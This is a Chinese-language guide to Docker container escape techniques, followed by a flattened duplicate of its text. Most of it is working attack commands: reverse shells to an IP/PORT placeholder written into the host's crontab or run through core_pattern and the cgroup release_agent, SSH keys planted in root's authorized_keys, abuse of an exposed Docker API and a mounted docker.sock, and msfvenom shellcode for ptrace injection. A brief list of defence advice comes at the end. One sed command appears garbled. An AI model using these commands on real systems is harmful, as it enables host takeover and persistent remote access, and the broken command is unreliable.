docker逃逸方式总结分享
字数 1286 2025-08-29 08:30:19

Docker逃逸技术全面指南

一、Docker环境判断

1. 检查.dockerenv文件

Docker容器内部默认会在根目录(/)下创建一个名为.dockerenv的隐藏文件:

ls / -al

2. 检查/proc/1/cgroup文件

查看该文件内容,如果包含明显的docker标识则表明处于Docker容器中:

cat /proc/1/cgroup

3. 检查系统环境变量

Docker会自动设置一些特定的环境变量:

echo $HOSTNAME  # 通常包含容器ID
env | grep DOCKER

二、Docker逃逸方式

1. 特权模式逃逸

利用条件:容器以特权模式(privileged)启动

检测方法

cat /proc/self/status | grep CapEff
# 如果CapEff值为0000003fffffffff则为特权模式

利用步骤

  1. 查看磁盘设备:
fdisk -l
  1. 创建目录并挂载宿主机磁盘:
mkdir -p /test11
mount /dev/vda1 /test11
  1. 逃逸方法:
  • 定时任务反弹shell
# 先判断宿主机系统类型
cat /test11/etc/os-release

# CentOS/Ubuntu等系统:
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> /test11/var/spool/cron/root

# Alpine系统:
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> /test11/etc/crontabs/root
  • 写入SSH公钥
ssh-keygen -t rsa -b 4096 -f my_key -N ""
echo "公钥内容" >> /test11/root/.ssh/authorized_keys
chmod 600 /test11/root/.ssh/authorized_keys

2. Docker API未授权访问

利用条件:2375端口暴露且未授权

检测方法
访问http://target:2375/version,返回版本信息则存在漏洞

利用步骤

  1. 查看目标容器:
docker -H tcp://IP:2375 ps
  1. 创建新容器并挂载宿主机目录:
docker -H tcp://IP:2375 run -id -v /:/tmp alpine:latest
  1. 进入容器并利用挂载的目录逃逸(方法同特权模式)

3. Docker Socket挂载逃逸

利用条件:容器内挂载了/var/run/docker.sock

检测方法

ls -lah /var/run/docker.sock

利用步骤

  1. 在容器内创建新容器并挂载宿主机目录:
docker run -it -v /:/tmp ubuntu /bin/bash
  1. 进入新容器后利用挂载的目录逃逸(方法同特权模式)

4. Procfs危险挂载逃逸

利用条件:挂载了宿主机的/proc目录

检测方法

find / -name core_pattern | wc -l
# 如果找到2个core_pattern文件则可能挂载了宿主机的procfs

利用步骤

  1. 获取容器在宿主机上的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# 将路径中的work替换为merged
  1. 创建反弹shell脚本:
echo '#!/bin/sh' > /tmp/exp.py
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> /tmp/exp.py
chmod +x /tmp/exp.py
  1. 修改core_pattern:
echo -e "|/容器绝对路径/tmp/exp.py \rcore " > /挂载点/proc/sys/kernel/core_pattern
  1. 触发崩溃执行脚本

5. Cgroup配置错误逃逸

利用条件

  • root用户运行
  • 具有SYS_ADMIN权限
  • AppArmor未配置
  • Cgroup v1以读写方式挂载

检测方法

cat /proc/self/status | grep CapEff  # 检查SYS_ADMIN
mount | grep cgroup  # 检查挂载方式

利用步骤

  1. 创建并挂载Cgroup:
mkdir /tmp/test3
mount -t cgroup -o memory cgroup /tmp/test3
mkdir /tmp/test3/conf
  1. 设置通知机制:
echo 1 > /tmp/test3/conf/notify_on_release
  1. 获取宿主机路径:
host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab`
  1. 设置release_agent:
echo "$host_path/cmd" > /tmp/test3/release_agent
  1. 创建反弹脚本:
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/IP/PORT 0>&1" >> /cmd
chmod +x /cmd
  1. 触发执行:
sh -c "echo \$\$ > /tmp/test3/conf/cgroup.procs"

6. SYS_PTRACE进程注入逃逸

利用条件

  • 具有SYS_PTRACE权限
  • 共享宿主机进程命名空间(--pid=host)
  • root权限运行

检测方法

capsh --print | grep cap_sys_ptrace  # 检查权限
ps aux | grep dockerd  # 检查是否共享进程空间

利用步骤

  1. 获取或编译进程注入工具
  2. 生成shellcode:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f c
  1. 注入宿主机进程

三、CDK工具利用

功能

  1. Evaluate:容器内部信息收集
  2. Exploit:提供容器逃逸、持久化、横向移动等利用方式
  3. Tool:常用Linux命令和Docker/K8s API交互命令

使用方法

  1. 上传CDK到容器
  2. 信息收集:
./cdk evaluate
  1. 利用检测到的漏洞模块进行逃逸

四、防御建议

  1. 避免使用特权模式运行容器
  2. 限制容器能力,移除不必要的capabilities
  3. 配置适当的AppArmor或SELinux策略
  4. 避免挂载敏感目录如/proc、/var/run/docker.sock等
  5. 确保Docker API有适当的认证和授权
  6. 定期更新Docker和主机系统
  7. 使用只读文件系统运行容器
  8. 限制容器资源使用和权限

通过以上方法,可以有效防止Docker逃逸攻击,确保容器环境的安全性。

Docker逃逸技术全面指南 一、Docker环境判断 1. 检查 .dockerenv 文件 Docker容器内部默认会在根目录(/)下创建一个名为 .dockerenv 的隐藏文件: 2. 检查 /proc/1/cgroup 文件 查看该文件内容,如果包含明显的docker标识则表明处于Docker容器中: 3. 检查系统环境变量 Docker会自动设置一些特定的环境变量: 二、Docker逃逸方式 1. 特权模式逃逸 利用条件 :容器以特权模式(privileged)启动 检测方法 : 利用步骤 : 查看磁盘设备: 创建目录并挂载宿主机磁盘: 逃逸方法: 定时任务反弹shell : 写入SSH公钥 : 2. Docker API未授权访问 利用条件 :2375端口暴露且未授权 检测方法 : 访问 http://target:2375/version ,返回版本信息则存在漏洞 利用步骤 : 查看目标容器: 创建新容器并挂载宿主机目录: 进入容器并利用挂载的目录逃逸(方法同特权模式) 3. Docker Socket挂载逃逸 利用条件 :容器内挂载了 /var/run/docker.sock 检测方法 : 利用步骤 : 在容器内创建新容器并挂载宿主机目录: 进入新容器后利用挂载的目录逃逸(方法同特权模式) 4. Procfs危险挂载逃逸 利用条件 :挂载了宿主机的 /proc 目录 检测方法 : 利用步骤 : 获取容器在宿主机上的绝对路径: 创建反弹shell脚本: 修改core_ pattern: 触发崩溃执行脚本 5. Cgroup配置错误逃逸 利用条件 : root用户运行 具有SYS_ ADMIN权限 AppArmor未配置 Cgroup v1以读写方式挂载 检测方法 : 利用步骤 : 创建并挂载Cgroup: 设置通知机制: 获取宿主机路径: 设置release_ agent: 创建反弹脚本: 触发执行: 6. SYS_ PTRACE进程注入逃逸 利用条件 : 具有SYS_ PTRACE权限 共享宿主机进程命名空间(--pid=host) root权限运行 检测方法 : 利用步骤 : 获取或编译进程注入工具 生成shellcode: 注入宿主机进程 三、CDK工具利用 功能 : Evaluate:容器内部信息收集 Exploit:提供容器逃逸、持久化、横向移动等利用方式 Tool:常用Linux命令和Docker/K8s API交互命令 使用方法 : 上传CDK到容器 信息收集: 利用检测到的漏洞模块进行逃逸 四、防御建议 避免使用特权模式运行容器 限制容器能力,移除不必要的capabilities 配置适当的AppArmor或SELinux策略 避免挂载敏感目录如/proc、/var/run/docker.sock等 确保Docker API有适当的认证和授权 定期更新Docker和主机系统 使用只读文件系统运行容器 限制容器资源使用和权限 通过以上方法,可以有效防止Docker逃逸攻击,确保容器环境的安全性。